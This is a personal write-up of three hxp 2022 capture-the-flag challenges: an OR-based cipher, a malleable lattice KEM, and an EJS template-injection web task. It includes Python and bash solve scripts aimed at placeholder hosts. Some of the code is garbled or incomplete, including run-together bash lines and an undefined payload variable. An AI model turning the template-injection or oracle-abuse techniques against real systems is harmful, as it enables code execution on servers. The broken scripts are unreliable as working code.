hxp 2022 (2023) CTF writeup

After I found myself in a vacation rental with Bas and Joost, we thought it would be fun to have a go at a few of hxp’s 2022 2023 ctf challenges as team #RU (long story relating to Radboud University).

Then I thought it would be fun to post a writeup of the challenges that we solved.

yor

The Yor challenge code was given as follows:

#!/usr/bin/env python3
import random

greets = [
"Herzlich willkommen! Der Schlüssel ist {0}, und die Flagge lautet {1}.",
"Bienvenue! Le clé est {0}, et le drapeau est {1}.",
"Hartelĳk welkom! De sleutel is {0}, en de vlag luidt {1}.",
"ようこそ！鍵は{0}、旗は{1}です。",
"歡迎！鑰匙是{0}，旗幟是{1}。",
"Witamy! Niestety nie mówię po polsku...",
]

assert set(flag.encode()) <= set(range(0x20,0x7f))

key = bytes(random.randrange(256) for _ in range(16))
hello = random.choice(greets).format(key.hex(), flag).encode()

output = bytes(y | key[i%len(key)] for i,y in enumerate(hello))
print(output.hex())


So TL;DR: this challenge selects a greeting from the list, and then generates a random fixed-length key, which it ors into every byte of the greeting. Before “encrypting”, it insert the key and the flag into the message. Note that we get a new key every time, so it’s no sense to try to recover the key from more than one message. After a way too long time mucking about trying to overlay the message on itself to recover the key, we realized that the common denominator is the plain text message, which is mostly the same every single message. However, the message is using |, not ^, so it only adds additional bits to the message and never turns off the bits that were originally set. That means that if we collect enough messages $m’_i = (m | key)$ then we can recover $m$ by doing (using $\prod$ for binary and):

$${\prod}\limits_{i} m’_i = m$$

Implementing this:

from binascii import unhexlify
import socket
HOST = "HOSTNAME"
PORT = 10101

def remote():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM,) as s:
s.connect((HOST, PORT))
data = s.recv(1000)
return data.strip()

# For large enough n, get encrypted $m'$s
texts = [remote() for _ in range(1000)]

# Filter out those with the longest length arbitrarily
bytetexts = [unhexlify(text) for text in texts if len(text) == 246]
message = bytearray(bytetexts[0])

# for each m' (bytetexts), AND each character into the message
for text in bytetexts:
for i, char in enumerate(text):
message[i] &= char

# Print the decrypted message.
print(message.decode())


Resulting output:

Bienvenue! Le clé est                                 , et le drapeau est hxp{WhY_5et7L3_f0r_X0R_iF_y0u_C4n_h4v3_Y0R????}.


Note that we will likely get a bunch of noise and/or spaces in the decrypted message in the position of the key: that’s what happens when you AND a bunch of hex characters that are different each time together.

Whistler

In this challenge, we were given a lattice-based KEM. As we’ve seen a few of them before, we immediately noticed that the KEM has no Fujisaki-Okamoto transform, and thus is not IND-CCA secure. This means that we can mess with the ciphertexts: they are malleable. We also get a variant on a decryption oracle: however, this decryption oracle has a twist: we obtain an encryption under the decapsulated key.

We focused on the decaps operation:

def decaps(sk, ct):
s = sk
c,r = ct
d = mul(c,s)
return extract(r,d)


Writing this in a way that suggests I know more maths than I do, decaps returns:

$$k = \operatorname{extract}_r( \langle c, s \rangle ).$$

We also know by how encaps and extract work that the bits in the shared secret resemble if the product of $\langle c, s \rangle$ was positive for that position in the resulting vector, but that turns out to not be terribly important. The extract operator is a bit spicy: it allows us to set which bits of $\langle c, s \rangle$ we want to use in the key. We abuse this to determine which bits of $k$ are set the same, by providing $r$ set to zero and then turning each bit in $r$ on one-at-a-time, which, if the returned key changes, means that the bit has an effect on the result and was not equal to the bit we had switched on in the previous attempt. However, we do not know if the first bit switched on was zero or one, so we need two additional guesses at the end to try both possibilities. Additionally, the challenge oracle checks if $\operatorname{hw}(r) \ge 128$, so we need to actually split $r$ into two parts. First we set the high part to all-1, so the hamming weight is large enough, while we set each bit of $r_i = 1$ one at a time, then we set the low part of $r$ to all ones, and set each bit $r_{128+i} = 1$ one at a time. This also means that we have two more possibilities, because we need to figure out the correct assignment of the high part and low parts separately. In total, we need $256 + 2 \times 2$ queries. We can check which of our guesses is the correct encryption key by using it to encrypt the proper

This sounds a bit confusing, but we have pseudocode python:

import collections
import socket
import struct
import itertools

# Use the provided code as helper code
import vuln

HOST = "HOST"
PORT = 4421

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection = s.connect((HOST, PORT))

# First fetch the challenge: the public key and ciphertext.
# We don't need the public key
data = s.recv(99999999)
print(data.decode())

pk_0, pk_1, ct_0, ct_1, flag_enc = data.decode().strip().split("\n")

# unhex and un-binary-decode the data
c = list(struct.unpack('<256H', bytes.fromhex(ct_0.strip().split(" ")[1])))
# nice way of unbinary-ing a "101011" string, thanks hxp.
r = list(map('01'.index, ct_1.strip().split(" ")[1]))

# We model our challenge oracle in this way:
def oracle(c_, r_):
s.send(vuln.ppoly(c_).encode() + b"\n")
s.send(vuln.pbits(r_).encode() + b"\n")
return s.recv(100000).strip().decode()

# For those playing at home:
#def oracle(c, r):
#    bits = decaps(sk, (c, r))
#    return mkaes([1]+bits).encrypt(b'hxp<3you').hex()

# These dicts map encrypted messages to the bits that, when set, made them appear
# We should get exactly two messages
entries_lo = defaultdict(list)
entries_hi = defaultdict(list)
for b in range(256 // 2):
# set r' = (0, 0, ..., 0, 1, 1, .., 1)
r_ = [0] * 128 + [1] * 128
# set r'_i = 1
r_[b] = 1
# get the encrypted message for this (c, r')
dh = oracle(c, r_)
entries_lo[dh].append(b)

for b in range(256 // 2, 256):
# set r' = (1, 1, ..., 1, 0, 0, .., 0)
r_ = [1] * 128 + [0] * 128
# set r'_i = 1
r_[b] = 1
# get the encrypted message m' for this (c, r')
dh = oracle(c, r_)
entries_hi[dh].append(b)

# Set up our two candidates for the low part of bits:
candidates_lo = [[0] * 128 for _ in range(2)]
eerste, tweede = list(entries_lo.keys())

# either the set of bits we found for message m'_0 is 1
for b in entries_lo[eerste]:
candidates_lo[0][b] = 1
# (note that the other bits (ie. those in eerste) are already 0

# or the set of bits we found for message m'_1 is 1
for b in entries_lo[tweede]:
candidates_lo[1][b] = 1

# Set up our two candidates for the high part of bits:
candidates_hi = [[0] * 128 for _ in range(2)]
eerste, tweede = list(entries_hi.keys())
for b in entries_hi[eerste]:
candidates_hi[0][b - 128] = 1
for b in entries_hi[tweede]:
candidates_hi[1][b - 128] = 1

original = vuln.oracle(c, r)
print("original = ", original)

# check which guess is correct
for (lo, hi) in itertools.product(candidates_lo, candidates_hi):
bits = [bit for (bit, t) in zip((lo + hi), r) if t]
if original == vuln.mkaes([1]+bits).encrypt(b'hxp<3you').hex():
break
else:

print(vuln.mkaes([0]+bits).decrypt(bytes.fromhex(flag_enc.split(":")[1].strip())))


Obtains: hxp{e4zy_p34zY_p34nuT_Bu7t3r}

Valentine

We also solved the web challenge valentine: we found that we could upload our own challenges and noticed that query was passed to the ejs renderer instead of just the name. Then we realised that we could change the delimiter by passing it as a query parameter, and then inject some javascript that executed /readflag. Finding the code to execute /readflag took the most time.

For a change, we wrote this one in bash because I had started out by messing with cURL:

#!/bin/bash

HOST="HOST"

output="$(curl --fail-with-body -X POST -d "name=test&tmpl=${attack}" ${HOST}/template 2>/dev/null)" if ! [ "$?" = "0" ]; then
echo $output exit 1 fi # Parse out the location of the template that is returned by the server url=$(echo ${output} | cut -d/ -f2 | cut -d? -f1) # Fetch with our custom query parameters curl${HOST}/\$url"?name=test&delimiter=?"
# ensure eol
echo


We obtain hxp{W1ll_u_b3_my_V4l3nt1ne?}.

The hxp team’s writeup has some more details, though we did not really run into any trouble with the ejs production settings: curl does not follow Location headers by default.